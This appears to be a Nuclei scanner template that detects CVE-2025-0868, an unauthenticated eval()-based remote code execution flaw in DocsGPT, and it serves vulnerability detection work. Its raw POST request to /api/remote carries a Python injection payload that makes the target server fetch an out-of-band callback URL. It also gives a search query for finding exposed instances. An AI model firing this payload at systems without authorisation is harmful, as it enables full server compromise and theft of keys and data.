CVE-2025-0868: DocsGPT - Unauthenticated Remote Code Execution

id: CVE-2025-0868

info:
  name: DocsGPT - Unauthenticated Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    A vulnerability, that could result in Remote Code Execution (RCE), has been found in DocsGPT. Due to improper parsing of JSON data using eval() an unauthorized attacker could send arbitrary Python code to be executed via /api/remote endpoint.This issue affects DocsGPT- from 0.8.1 through 0.12.0.
  impact: |
    Unauthenticated attackers can execute arbitrary Python code remotely on DocsGPT servers through improper eval() usage, leading to complete system compromise and potential access to all indexed documents and API keys.
  remediation: |
    Upgrade to DocsGPT version 0.12.1 or later that addresses the eval() vulnerability.
  reference:
    - https://cert.pl/posts/2025/02/CVE-2025-0868/
    - https://cert.pl/en/posts/2025/02/CVE-2025-0868/
    - https://github.com/arc53/DocsGPT
  classification:
    epss-score: 0.17087
    epss-percentile: 0.96917
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="Welcome to DocsGPT"
  tags: cve,cve2025,docsgpt,unauth,rce,vkev,vuln

http:
  - raw:
      - |
        POST /api/remote HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user=1&source=reddit&name=other&data={"source":"reddit","client_id":"1111","client_secret":1111,"user_agent":"111","search_queries":[""],"number_posts":10,"rce\\\\":__import__('requests').get('http://{{interactsh-url}}/')}#":11}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns

      - type: word
        part: body
        words:
          - '"task_id":'
          - '"status":'
        condition: and
# digest: 4a0a0047304502201adc75e5169717a214d59e53429e042b403bb3d700c88be9e3c49dd2789c8daf022100da098477f467cb8d5e3723c850ef17d1aa81e4ac282fefd4446ada1469d09717:922c64590222798bb761d5b6d8e72950

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